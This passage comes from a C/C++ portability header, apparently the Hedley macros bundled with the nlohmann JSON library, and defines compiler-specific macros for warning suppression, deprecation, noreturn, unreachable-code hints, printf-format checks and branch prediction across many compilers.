JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNKNOWN_PRAGMAS\n#endif\n#if JSON_HEDLEY_HAS_WARNING(\"-Wunknown-pragmas\")\n#define JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNKNOWN_PRAGMAS _Pragma(\"clang diagnostic ignored \\\"-Wunknown-pragmas\\\"\")\n#elif JSON_HEDLEY_INTEL_VERSION_CHECK(13,0,0)\n#define JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNKNOWN_PRAGMAS _Pragma(\"warning(disable:161)\")\n#elif JSON_HEDLEY_INTEL_CL_VERSION_CHECK(2021,1,0)\n#define JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNKNOWN_PRAGMAS __pragma(warning(disable:161))\n#elif JSON_HEDLEY_PGI_VERSION_CHECK(17,10,0)\n#define JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNKNOWN_PRAGMAS _Pragma(\"diag_suppress 1675\")\n#elif JSON_HEDLEY_GCC_VERSION_CHECK(4,3,0)\n#define JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNKNOWN_PRAGMAS _Pragma(\"GCC diagnostic ignored \\\"-Wunknown-pragmas\\\"\")\n#elif JSON_HEDLEY_MSVC_VERSION_CHECK(15,0,0)\n#define JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNKNOWN_PRAGMAS __pragma(warning(disable:4068))\n#elif \\\n    JSON_HEDLEY_TI_VERSION_CHECK(16,9,0) || \\\n    JSON_HEDLEY_TI_CL6X_VERSION_CHECK(8,0,0) || \\\n    JSON_HEDLEY_TI_CL7X_VERSION_CHECK(1,2,0) || \\\n    JSON_HEDLEY_TI_CLPRU_VERSION_CHECK(2,3,0)\n#define JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNKNOWN_PRAGMAS _Pragma(\"diag_suppress 163\")\n#elif JSON_HEDLEY_TI_CL6X_VERSION_CHECK(8,0,0)\n#define JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNKNOWN_PRAGMAS _Pragma(\"diag_suppress 163\")\n#elif JSON_HEDLEY_IAR_VERSION_CHECK(8,0,0)\n#define JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNKNOWN_PRAGMAS _Pragma(\"diag_suppress=Pe161\")\n#elif JSON_HEDLEY_MCST_LCC_VERSION_CHECK(1,25,10)\n#define JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNKNOWN_PRAGMAS _Pragma(\"diag_suppress 161\")\n#else\n#define JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNKNOWN_PRAGMAS\n#endif\n\n#if defined(JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNKNOWN_CPP_ATTRIBUTES)\n#undef JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNKNOWN_CPP_ATTRIBUTES\n#endif\n#if JSON_HEDLEY_HAS_WARNING(\"-Wunknown-attributes\")\n#define JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNKNOWN_CPP_ATTRIBUTES _Pragma(\"clang diagnostic ignored \\\"-Wunknown-attributes\\\"\")\n#elif JSON_HEDLEY_GCC_VERSION_CHECK(4,6,0)\n#define JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNKNOWN_CPP_ATTRIBUTES _Pragma(\"GCC diagnostic ignored \\\"-Wdeprecated-declarations\\\"\")\n#elif JSON_HEDLEY_INTEL_VERSION_CHECK(17,0,0)\n#define JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNKNOWN_CPP_ATTRIBUTES _Pragma(\"warning(disable:1292)\")\n#elif JSON_HEDLEY_INTEL_CL_VERSION_CHECK(2021,1,0)\n#define JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNKNOWN_CPP_ATTRIBUTES __pragma(warning(disable:1292))\n#elif JSON_HEDLEY_MSVC_VERSION_CHECK(19,0,0)\n#define JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNKNOWN_CPP_ATTRIBUTES __pragma(warning(disable:5030))\n#elif JSON_HEDLEY_PGI_VERSION_CHECK(20,7,0)\n#define JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNKNOWN_CPP_ATTRIBUTES _Pragma(\"diag_suppress 1097,1098\")\n#elif JSON_HEDLEY_PGI_VERSION_CHECK(17,10,0)\n#define JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNKNOWN_CPP_ATTRIBUTES _Pragma(\"diag_suppress 1097\")\n#elif JSON_HEDLEY_SUNPRO_VERSION_CHECK(5,14,0) && defined(__cplusplus)\n#define JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNKNOWN_CPP_ATTRIBUTES _Pragma(\"error_messages(off,attrskipunsup)\")\n#elif \\\n    JSON_HEDLEY_TI_VERSION_CHECK(18,1,0) || \\\n    JSON_HEDLEY_TI_CL6X_VERSION_CHECK(8,3,0) || \\\n    JSON_HEDLEY_TI_CL7X_VERSION_CHECK(1,2,0)\n#define JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNKNOWN_CPP_ATTRIBUTES _Pragma(\"diag_suppress 1173\")\n#elif JSON_HEDLEY_IAR_VERSION_CHECK(8,0,0)\n#define JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNKNOWN_CPP_ATTRIBUTES _Pragma(\"diag_suppress=Pe1097\")\n#elif JSON_HEDLEY_MCST_LCC_VERSION_CHECK(1,25,10)\n#define JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNKNOWN_CPP_ATTRIBUTES _Pragma(\"diag_suppress 1097\")\n#else\n#define JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNKNOWN_CPP_ATTRIBUTES\n#endif\n\n#if defined(JSON_HEDLEY_DIAGNOSTIC_DISABLE_CAST_QUAL)\n#undef JSON_HEDLEY_DIAGNOSTIC_DISABLE_CAST_QUAL\n#endif\n#if JSON_HEDLEY_HAS_WARNING(\"-Wcast-qual\")\n#define JSON_HEDLEY_DIAGNOSTIC_DISABLE_CAST_QUAL _Pragma(\"clang diagnostic ignored \\\"-Wcast-qual\\\"\")\n#elif JSON_HEDLEY_INTEL_VERSION_CHECK(13,0,0)\n#define JSON_HEDLEY_DIAGNOSTIC_DISABLE_CAST_QUAL _Pragma(\"warning(disable:2203 2331)\")\n#elif JSON_HEDLEY_GCC_VERSION_CHECK(3,0,0)\n#define JSON_HEDLEY_DIAGNOSTIC_DISABLE_CAST_QUAL _Pragma(\"GCC diagnostic ignored \\\"-Wcast-qual\\\"\")\n#else\n#define JSON_HEDLEY_DIAGNOSTIC_DISABLE_CAST_QUAL\n#endif\n\n#if defined(JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNUSED_FUNCTION)\n#undef JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNUSED_FUNCTION\n#endif\n#if JSON_HEDLEY_HAS_WARNING(\"-Wunused-function\")\n#define JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNUSED_FUNCTION _Pragma(\"clang diagnostic ignored \\\"-Wunused-function\\\"\")\n#elif JSON_HEDLEY_GCC_VERSION_CHECK(3,4,0)\n#define JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNUSED_FUNCTION _Pragma(\"GCC diagnostic ignored \\\"-Wunused-function\\\"\")\n#elif JSON_HEDLEY_MSVC_VERSION_CHECK(1,0,0)\n#define JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNUSED_FUNCTION __pragma(warning(disable:4505))\n#elif JSON_HEDLEY_MCST_LCC_VERSION_CHECK(1,25,10)\n#define JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNUSED_FUNCTION _Pragma(\"diag_suppress 3142\")\n#else\n#define JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNUSED_FUNCTION\n#endif\n\n#if defined(JSON_HEDLEY_DEPRECATED)\n#undef JSON_HEDLEY_DEPRECATED\n#endif\n#if defined(JSON_HEDLEY_DEPRECATED_FOR)\n#undef JSON_HEDLEY_DEPRECATED_FOR\n#endif\n#if \\\n    JSON_HEDLEY_MSVC_VERSION_CHECK(14,0,0) || \\\n    JSON_HEDLEY_INTEL_CL_VERSION_CHECK(2021,1,0)\n#define JSON_HEDLEY_DEPRECATED(since) __declspec(deprecated(\"Since \" # since))\n#define JSON_HEDLEY_DEPRECATED_FOR(since, replacement) __declspec(deprecated(\"Since \" #since \"; use \" #replacement))\n#elif \\\n    (JSON_HEDLEY_HAS_EXTENSION(attribute_deprecated_with_message) && !defined(JSON_HEDLEY_IAR_VERSION)) || \\\n    JSON_HEDLEY_GCC_VERSION_CHECK(4,5,0) || \\\n    JSON_HEDLEY_INTEL_VERSION_CHECK(13,0,0) || \\\n    JSON_HEDLEY_ARM_VERSION_CHECK(5,6,0) || \\\n    JSON_HEDLEY_SUNPRO_VERSION_CHECK(5,13,0) || \\\n    JSON_HEDLEY_PGI_VERSION_CHECK(17,10,0) || \\\n    JSON_HEDLEY_TI_VERSION_CHECK(18,1,0) || \\\n    JSON_HEDLEY_TI_ARMCL_VERSION_CHECK(18,1,0) || \\\n    JSON_HEDLEY_TI_CL6X_VERSION_CHECK(8,3,0) || \\\n    JSON_HEDLEY_TI_CL7X_VERSION_CHECK(1,2,0) || \\\n    JSON_HEDLEY_TI_CLPRU_VERSION_CHECK(2,3,0) || \\\n    JSON_HEDLEY_MCST_LCC_VERSION_CHECK(1,25,10)\n#define JSON_HEDLEY_DEPRECATED(since) __attribute__((__deprecated__(\"Since \" #since)))\n#define JSON_HEDLEY_DEPRECATED_FOR(since, replacement) __attribute__((__deprecated__(\"Since \" #since \"; use \" #replacement)))\n#elif defined(__cplusplus) && (__cplusplus >= 201402L)\n#define JSON_HEDLEY_DEPRECATED(since) JSON_HEDLEY_DIAGNOSTIC_DISABLE_CPP98_COMPAT_WRAP_([[deprecated(\"Since \" #since)]])\n#define JSON_HEDLEY_DEPRECATED_FOR(since, replacement) JSON_HEDLEY_DIAGNOSTIC_DISABLE_CPP98_COMPAT_WRAP_([[deprecated(\"Since \" #since \"; use \" #replacement)]])\n#elif \\\n    JSON_HEDLEY_HAS_ATTRIBUTE(deprecated) || \\\n    JSON_HEDLEY_GCC_VERSION_CHECK(3,1,0) || \\\n    JSON_HEDLEY_ARM_VERSION_CHECK(4,1,0) || \\\n    JSON_HEDLEY_TI_VERSION_CHECK(15,12,0) || \\\n    (JSON_HEDLEY_TI_ARMCL_VERSION_CHECK(4,8,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \\\n    JSON_HEDLEY_TI_ARMCL_VERSION_CHECK(5,2,0) || \\\n    (JSON_HEDLEY_TI_CL2000_VERSION_CHECK(6,0,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \\\n    JSON_HEDLEY_TI_CL2000_VERSION_CHECK(6,4,0) || \\\n    (JSON_HEDLEY_TI_CL430_VERSION_CHECK(4,0,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \\\n    JSON_HEDLEY_TI_CL430_VERSION_CHECK(4,3,0) || \\\n    (JSON_HEDLEY_TI_CL6X_VERSION_CHECK(7,2,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \\\n    JSON_HEDLEY_TI_CL6X_VERSION_CHECK(7,5,0) || \\\n    JSON_HEDLEY_TI_CL7X_VERSION_CHECK(1,2,0) || \\\n    JSON_HEDLEY_TI_CLPRU_VERSION_CHECK(2,1,0) || \\\n    JSON_HEDLEY_MCST_LCC_VERSION_CHECK(1,25,10) || \\\n    JSON_HEDLEY_IAR_VERSION_CHECK(8,10,0)\n#define JSON_HEDLEY_DEPRECATED(since) __attribute__((__deprecated__))\n#define JSON_HEDLEY_DEPRECATED_FOR(since, replacement) __attribute__((__deprecated__))\n#elif \\\n    JSON_HEDLEY_MSVC_VERSION_CHECK(13,10,0) || \\\n    JSON_HEDLEY_PELLES_VERSION_CHECK(6,50,0) || \\\n    JSON_HEDLEY_INTEL_CL_VERSION_CHECK(2021,1,0)\n#define JSON_HEDLEY_DEPRECATED(since) __declspec(deprecated)\n#define JSON_HEDLEY_DEPRECATED_FOR(since, replacement) __declspec(deprecated)\n#elif JSON_HEDLEY_IAR_VERSION_CHECK(8,0,0)\n#define JSON_HEDLEY_DEPRECATED(since) _Pragma(\"deprecated\")\n#define JSON_HEDLEY_DEPRECATED_FOR(since, replacement) _Pragma(\"deprecated\")\n#else\n#define JSON_HEDLEY_DEPRECATED(since)\n#define JSON_HEDLEY_DEPRECATED_FOR(since, replacement)\n#endif\n\n#if defined(JSON_HEDLEY_UNAVAILABLE)\n#undef JSON_HEDLEY_UNAVAILABLE\n#endif\n#if \\\n    JSON_HEDLEY_HAS_ATTRIBUTE(warning) || \\\n    JSON_HEDLEY_GCC_VERSION_CHECK(4,3,0) || \\\n    JSON_HEDLEY_INTEL_VERSION_CHECK(13,0,0) || \\\n    JSON_HEDLEY_MCST_LCC_VERSION_CHECK(1,25,10)\n#define JSON_HEDLEY_UNAVAILABLE(available_since) __attribute__((__warning__(\"Not available until \" #available_since)))\n#else\n#define JSON_HEDLEY_UNAVAILABLE(available_since)\n#endif\n\n#if defined(JSON_HEDLEY_WARN_UNUSED_RESULT)\n#undef JSON_HEDLEY_WARN_UNUSED_RESULT\n#endif\n#if defined(JSON_HEDLEY_WARN_UNUSED_RESULT_MSG)\n#undef JSON_HEDLEY_WARN_UNUSED_RESULT_MSG\n#endif\n#if \\\n    JSON_HEDLEY_HAS_ATTRIBUTE(warn_unused_result) || \\\n    JSON_HEDLEY_GCC_VERSION_CHECK(3,4,0) || \\\n    JSON_HEDLEY_INTEL_VERSION_CHECK(13,0,0) || \\\n    JSON_HEDLEY_TI_VERSION_CHECK(15,12,0) || \\\n    (JSON_HEDLEY_TI_ARMCL_VERSION_CHECK(4,8,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \\\n    JSON_HEDLEY_TI_ARMCL_VERSION_CHECK(5,2,0) || \\\n    (JSON_HEDLEY_TI_CL2000_VERSION_CHECK(6,0,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \\\n    JSON_HEDLEY_TI_CL2000_VERSION_CHECK(6,4,0) || \\\n    (JSON_HEDLEY_TI_CL430_VERSION_CHECK(4,0,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \\\n    JSON_HEDLEY_TI_CL430_VERSION_CHECK(4,3,0) || \\\n    (JSON_HEDLEY_TI_CL6X_VERSION_CHECK(7,2,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \\\n    JSON_HEDLEY_TI_CL6X_VERSION_CHECK(7,5,0) || \\\n    JSON_HEDLEY_TI_CL7X_VERSION_CHECK(1,2,0) || \\\n    JSON_HEDLEY_TI_CLPRU_VERSION_CHECK(2,1,0) || \\\n    (JSON_HEDLEY_SUNPRO_VERSION_CHECK(5,15,0) && defined(__cplusplus)) || \\\n    JSON_HEDLEY_PGI_VERSION_CHECK(17,10,0) || \\\n    JSON_HEDLEY_MCST_LCC_VERSION_CHECK(1,25,10)\n#define JSON_HEDLEY_WARN_UNUSED_RESULT __attribute__((__warn_unused_result__))\n#define JSON_HEDLEY_WARN_UNUSED_RESULT_MSG(msg) __attribute__((__warn_unused_result__))\n#elif (JSON_HEDLEY_HAS_CPP_ATTRIBUTE(nodiscard) >= 201907L)\n#define JSON_HEDLEY_WARN_UNUSED_RESULT JSON_HEDLEY_DIAGNOSTIC_DISABLE_CPP98_COMPAT_WRAP_([[nodiscard]])\n#define JSON_HEDLEY_WARN_UNUSED_RESULT_MSG(msg) JSON_HEDLEY_DIAGNOSTIC_DISABLE_CPP98_COMPAT_WRAP_([[nodiscard(msg)]])\n#elif JSON_HEDLEY_HAS_CPP_ATTRIBUTE(nodiscard)\n#define JSON_HEDLEY_WARN_UNUSED_RESULT JSON_HEDLEY_DIAGNOSTIC_DISABLE_CPP98_COMPAT_WRAP_([[nodiscard]])\n#define JSON_HEDLEY_WARN_UNUSED_RESULT_MSG(msg) JSON_HEDLEY_DIAGNOSTIC_DISABLE_CPP98_COMPAT_WRAP_([[nodiscard]])\n#elif defined(_Check_return_) /* SAL */\n#define JSON_HEDLEY_WARN_UNUSED_RESULT _Check_return_\n#define JSON_HEDLEY_WARN_UNUSED_RESULT_MSG(msg) _Check_return_\n#else\n#define JSON_HEDLEY_WARN_UNUSED_RESULT\n#define JSON_HEDLEY_WARN_UNUSED_RESULT_MSG(msg)\n#endif\n\n#if defined(JSON_HEDLEY_SENTINEL)\n#undef JSON_HEDLEY_SENTINEL\n#endif\n#if \\\n    JSON_HEDLEY_HAS_ATTRIBUTE(sentinel) || \\\n    JSON_HEDLEY_GCC_VERSION_CHECK(4,0,0) || \\\n    JSON_HEDLEY_INTEL_VERSION_CHECK(13,0,0) || \\\n    JSON_HEDLEY_ARM_VERSION_CHECK(5,4,0) || \\\n    JSON_HEDLEY_MCST_LCC_VERSION_CHECK(1,25,10)\n#define JSON_HEDLEY_SENTINEL(position) __attribute__((__sentinel__(position)))\n#else\n#define JSON_HEDLEY_SENTINEL(position)\n#endif\n\n#if defined(JSON_HEDLEY_NO_RETURN)\n#undef JSON_HEDLEY_NO_RETURN\n#endif\n#if JSON_HEDLEY_IAR_VERSION_CHECK(8,0,0)\n#define JSON_HEDLEY_NO_RETURN __noreturn\n#elif \\\n    JSON_HEDLEY_INTEL_VERSION_CHECK(13,0,0) || \\\n    JSON_HEDLEY_MCST_LCC_VERSION_CHECK(1,25,10)\n#define JSON_HEDLEY_NO_RETURN __attribute__((__noreturn__))\n#elif defined(__STDC_VERSION__) && __STDC_VERSION__ >= 201112L\n#define JSON_HEDLEY_NO_RETURN _Noreturn\n#elif defined(__cplusplus) && (__cplusplus >= 201103L)\n#define JSON_HEDLEY_NO_RETURN JSON_HEDLEY_DIAGNOSTIC_DISABLE_CPP98_COMPAT_WRAP_([[noreturn]])\n#elif \\\n    JSON_HEDLEY_HAS_ATTRIBUTE(noreturn) || \\\n    JSON_HEDLEY_GCC_VERSION_CHECK(3,2,0) || \\\n    JSON_HEDLEY_SUNPRO_VERSION_CHECK(5,11,0) || \\\n    JSON_HEDLEY_ARM_VERSION_CHECK(4,1,0) || \\\n    JSON_HEDLEY_IBM_VERSION_CHECK(10,1,0) || \\\n    JSON_HEDLEY_TI_VERSION_CHECK(15,12,0) || \\\n    (JSON_HEDLEY_TI_ARMCL_VERSION_CHECK(4,8,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \\\n    JSON_HEDLEY_TI_ARMCL_VERSION_CHECK(5,2,0) || \\\n    (JSON_HEDLEY_TI_CL2000_VERSION_CHECK(6,0,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \\\n    JSON_HEDLEY_TI_CL2000_VERSION_CHECK(6,4,0) || \\\n    (JSON_HEDLEY_TI_CL430_VERSION_CHECK(4,0,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \\\n    JSON_HEDLEY_TI_CL430_VERSION_CHECK(4,3,0) || \\\n    (JSON_HEDLEY_TI_CL6X_VERSION_CHECK(7,2,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \\\n    JSON_HEDLEY_TI_CL6X_VERSION_CHECK(7,5,0) || \\\n    JSON_HEDLEY_TI_CL7X_VERSION_CHECK(1,2,0) || \\\n    JSON_HEDLEY_TI_CLPRU_VERSION_CHECK(2,1,0) || \\\n    JSON_HEDLEY_IAR_VERSION_CHECK(8,10,0)\n#define JSON_HEDLEY_NO_RETURN __attribute__((__noreturn__))\n#elif JSON_HEDLEY_SUNPRO_VERSION_CHECK(5,10,0)\n#define JSON_HEDLEY_NO_RETURN _Pragma(\"does_not_return\")\n#elif \\\n    JSON_HEDLEY_MSVC_VERSION_CHECK(13,10,0) || \\\n    JSON_HEDLEY_INTEL_CL_VERSION_CHECK(2021,1,0)\n#define JSON_HEDLEY_NO_RETURN __declspec(noreturn)\n#elif JSON_HEDLEY_TI_CL6X_VERSION_CHECK(6,0,0) && defined(__cplusplus)\n#define JSON_HEDLEY_NO_RETURN _Pragma(\"FUNC_NEVER_RETURNS;\")\n#elif JSON_HEDLEY_COMPCERT_VERSION_CHECK(3,2,0)\n#define JSON_HEDLEY_NO_RETURN __attribute((noreturn))\n#elif JSON_HEDLEY_PELLES_VERSION_CHECK(9,0,0)\n#define JSON_HEDLEY_NO_RETURN __declspec(noreturn)\n#else\n#define JSON_HEDLEY_NO_RETURN\n#endif\n\n#if defined(JSON_HEDLEY_NO_ESCAPE)\n#undef JSON_HEDLEY_NO_ESCAPE\n#endif\n#if JSON_HEDLEY_HAS_ATTRIBUTE(noescape)\n#define JSON_HEDLEY_NO_ESCAPE __attribute__((__noescape__))\n#else\n#define JSON_HEDLEY_NO_ESCAPE\n#endif\n\n#if defined(JSON_HEDLEY_UNREACHABLE)\n#undef JSON_HEDLEY_UNREACHABLE\n#endif\n#if defined(JSON_HEDLEY_UNREACHABLE_RETURN)\n#undef JSON_HEDLEY_UNREACHABLE_RETURN\n#endif\n#if defined(JSON_HEDLEY_ASSUME)\n#undef JSON_HEDLEY_ASSUME\n#endif\n#if \\\n    JSON_HEDLEY_MSVC_VERSION_CHECK(13,10,0) || \\\n    JSON_HEDLEY_INTEL_VERSION_CHECK(13,0,0) || \\\n    JSON_HEDLEY_INTEL_CL_VERSION_CHECK(2021,1,0)\n#define JSON_HEDLEY_ASSUME(expr) __assume(expr)\n#elif JSON_HEDLEY_HAS_BUILTIN(__builtin_assume)\n#define JSON_HEDLEY_ASSUME(expr) __builtin_assume(expr)\n#elif \\\n    JSON_HEDLEY_TI_CL2000_VERSION_CHECK(6,2,0) || \\\n    JSON_HEDLEY_TI_CL6X_VERSION_CHECK(4,0,0)\n#if defined(__cplusplus)\n#define JSON_HEDLEY_ASSUME(expr) std::_nassert(expr)\n#else\n#define JSON_HEDLEY_ASSUME(expr) _nassert(expr)\n#endif\n#endif\n#if \\\n    (JSON_HEDLEY_HAS_BUILTIN(__builtin_unreachable) && (!defined(JSON_HEDLEY_ARM_VERSION))) || \\\n    JSON_HEDLEY_GCC_VERSION_CHECK(4,5,0) || \\\n    JSON_HEDLEY_PGI_VERSION_CHECK(18,10,0) || \\\n    JSON_HEDLEY_INTEL_VERSION_CHECK(13,0,0) || \\\n    JSON_HEDLEY_IBM_VERSION_CHECK(13,1,5) || \\\n    JSON_HEDLEY_CRAY_VERSION_CHECK(10,0,0) || \\\n    JSON_HEDLEY_MCST_LCC_VERSION_CHECK(1,25,10)\n#define JSON_HEDLEY_UNREACHABLE() __builtin_unreachable()\n#elif defined(JSON_HEDLEY_ASSUME)\n#define JSON_HEDLEY_UNREACHABLE() JSON_HEDLEY_ASSUME(0)\n#endif\n#if !defined(JSON_HEDLEY_ASSUME)\n#if defined(JSON_HEDLEY_UNREACHABLE)\n#define JSON_HEDLEY_ASSUME(expr) JSON_HEDLEY_STATIC_CAST(void, ((expr) ? 1 : (JSON_HEDLEY_UNREACHABLE(), 1)))\n#else\n#define JSON_HEDLEY_ASSUME(expr) JSON_HEDLEY_STATIC_CAST(void, expr)\n#endif\n#endif\n#if defined(JSON_HEDLEY_UNREACHABLE)\n#if  \\\n        JSON_HEDLEY_TI_CL2000_VERSION_CHECK(6,2,0) || \\\n        JSON_HEDLEY_TI_CL6X_VERSION_CHECK(4,0,0)\n#define JSON_HEDLEY_UNREACHABLE_RETURN(value) return (JSON_HEDLEY_STATIC_CAST(void, JSON_HEDLEY_ASSUME(0)), (value))\n#else\n#define JSON_HEDLEY_UNREACHABLE_RETURN(value) JSON_HEDLEY_UNREACHABLE()\n#endif\n#else\n#define JSON_HEDLEY_UNREACHABLE_RETURN(value) return (value)\n#endif\n#if !defined(JSON_HEDLEY_UNREACHABLE)\n#define JSON_HEDLEY_UNREACHABLE() JSON_HEDLEY_ASSUME(0)\n#endif\n\n    JSON_HEDLEY_DIAGNOSTIC_PUSH\n#if JSON_HEDLEY_HAS_WARNING(\"-Wpedantic\")\n#pragma clang diagnostic ignored \"-Wpedantic\"\n#endif\n#if JSON_HEDLEY_HAS_WARNING(\"-Wc++98-compat-pedantic\") && defined(__cplusplus)\n#pragma clang diagnostic ignored \"-Wc++98-compat-pedantic\"\n#endif\n#if JSON_HEDLEY_GCC_HAS_WARNING(\"-Wvariadic-macros\",4,0,0)\n#if defined(__clang__)\n#pragma clang diagnostic ignored \"-Wvariadic-macros\"\n#elif defined(JSON_HEDLEY_GCC_VERSION)\n#pragma GCC diagnostic ignored \"-Wvariadic-macros\"\n#endif\n#endif\n#if defined(JSON_HEDLEY_NON_NULL)\n#undef JSON_HEDLEY_NON_NULL\n#endif\n#if \\\n    JSON_HEDLEY_HAS_ATTRIBUTE(nonnull) || \\\n    JSON_HEDLEY_GCC_VERSION_CHECK(3,3,0) || \\\n    JSON_HEDLEY_INTEL_VERSION_CHECK(13,0,0) || \\\n    JSON_HEDLEY_ARM_VERSION_CHECK(4,1,0)\n#define JSON_HEDLEY_NON_NULL(...) __attribute__((__nonnull__(__VA_ARGS__)))\n#else\n#define JSON_HEDLEY_NON_NULL(...)\n#endif\n    JSON_HEDLEY_DIAGNOSTIC_POP\n\n#if defined(JSON_HEDLEY_PRINTF_FORMAT)\n#undef JSON_HEDLEY_PRINTF_FORMAT\n#endif\n#if defined(__MINGW32__) && JSON_HEDLEY_GCC_HAS_ATTRIBUTE(format,4,4,0) && !defined(__USE_MINGW_ANSI_STDIO)\n#define JSON_HEDLEY_PRINTF_FORMAT(string_idx,first_to_check) __attribute__((__format__(ms_printf, string_idx, first_to_check)))\n#elif defined(__MINGW32__) && JSON_HEDLEY_GCC_HAS_ATTRIBUTE(format,4,4,0) && defined(__USE_MINGW_ANSI_STDIO)\n#define JSON_HEDLEY_PRINTF_FORMAT(string_idx,first_to_check) __attribute__((__format__(gnu_printf, string_idx, first_to_check)))\n#elif \\\n    JSON_HEDLEY_HAS_ATTRIBUTE(format) || \\\n    JSON_HEDLEY_GCC_VERSION_CHECK(3,1,0) || \\\n    JSON_HEDLEY_INTEL_VERSION_CHECK(13,0,0) || \\\n    JSON_HEDLEY_ARM_VERSION_CHECK(5,6,0) || \\\n    JSON_HEDLEY_IBM_VERSION_CHECK(10,1,0) || \\\n    JSON_HEDLEY_TI_VERSION_CHECK(15,12,0) || \\\n    (JSON_HEDLEY_TI_ARMCL_VERSION_CHECK(4,8,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \\\n    JSON_HEDLEY_TI_ARMCL_VERSION_CHECK(5,2,0) || \\\n    (JSON_HEDLEY_TI_CL2000_VERSION_CHECK(6,0,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \\\n    JSON_HEDLEY_TI_CL2000_VERSION_CHECK(6,4,0) || \\\n    (JSON_HEDLEY_TI_CL430_VERSION_CHECK(4,0,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \\\n    JSON_HEDLEY_TI_CL430_VERSION_CHECK(4,3,0) || \\\n    (JSON_HEDLEY_TI_CL6X_VERSION_CHECK(7,2,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \\\n    JSON_HEDLEY_TI_CL6X_VERSION_CHECK(7,5,0) || \\\n    JSON_HEDLEY_TI_CL7X_VERSION_CHECK(1,2,0) || \\\n    JSON_HEDLEY_TI_CLPRU_VERSION_CHECK(2,1,0) || \\\n    JSON_HEDLEY_MCST_LCC_VERSION_CHECK(1,25,10)\n#define JSON_HEDLEY_PRINTF_FORMAT(string_idx,first_to_check) __attribute__((__format__(__printf__, string_idx, first_to_check)))\n#elif JSON_HEDLEY_PELLES_VERSION_CHECK(6,0,0)\n#define JSON_HEDLEY_PRINTF_FORMAT(string_idx,first_to_check) __declspec(vaformat(printf,string_idx,first_to_check))\n#else\n#define JSON_HEDLEY_PRINTF_FORMAT(string_idx,first_to_check)\n#endif\n\n#if defined(JSON_HEDLEY_CONSTEXPR)\n#undef JSON_HEDLEY_CONSTEXPR\n#endif\n#if defined(__cplusplus)\n#if __cplusplus >= 201103L\n#define JSON_HEDLEY_CONSTEXPR JSON_HEDLEY_DIAGNOSTIC_DISABLE_CPP98_COMPAT_WRAP_(constexpr)\n#endif\n#endif\n#if !defined(JSON_HEDLEY_CONSTEXPR)\n#define JSON_HEDLEY_CONSTEXPR\n#endif\n\n#if defined(JSON_HEDLEY_PREDICT)\n#undef JSON_HEDLEY_PREDICT\n#endif\n#if defined(JSON_HEDLEY_LIKELY)\n#undef JSON_HEDLEY_LIKELY\n#endif\n#if defined(JSON_HEDLEY_UNLIKELY)\n#undef JSON_HEDLEY_UNLIKELY\n#endif\n#if defined(JSON_HEDLEY_UNPREDICTABLE)\n#undef JSON_HEDLEY_UNPREDICTABLE\n#endif\n#if JSON_HEDLEY_HAS_BUILTIN(__builtin_unpredictable)\n#define JSON_HEDLEY_UNPREDICTABLE(expr) __builtin_unpredictable((expr))\n#endif\n#if \\\n  (JSON_HEDLEY_HAS_BUILTIN(__builtin_expect_with_probability) && !defined(JSON_HEDLEY_PGI_VERSION)) || \\\n  JSON_HEDLEY_GCC_VERSION_CHECK(9,0,0) || \\\n  JSON_HEDLEY_MCST_LCC_VERSION_CHECK(1,25,10)\n#  define JSON_HEDLEY_PREDICT(expr, value, probability) __builtin_expect_with_probability(  (expr), (value), (probability))\n#  define JSON_HEDLEY_PREDICT_TRUE(expr, probability)   __builtin_expect_with_probability(!!(expr),    1   , (probability))\n#  define JSON_HEDLEY_PREDICT_FALSE(expr, probability)  __builtin_expect_with_probability(!!(expr),    0   , (probability))\n#  define JSON_HEDLEY_LIKELY(expr)                      __builtin_expect                 (!!(expr),    1                  )\n#  define JSON_HEDLEY_UNLIKELY(expr)                    __builtin_expect                 (!!(expr),    0                  )\n#elif \\\n  (JSON_HEDLEY_HAS_BUILTIN(__builtin_expect) && 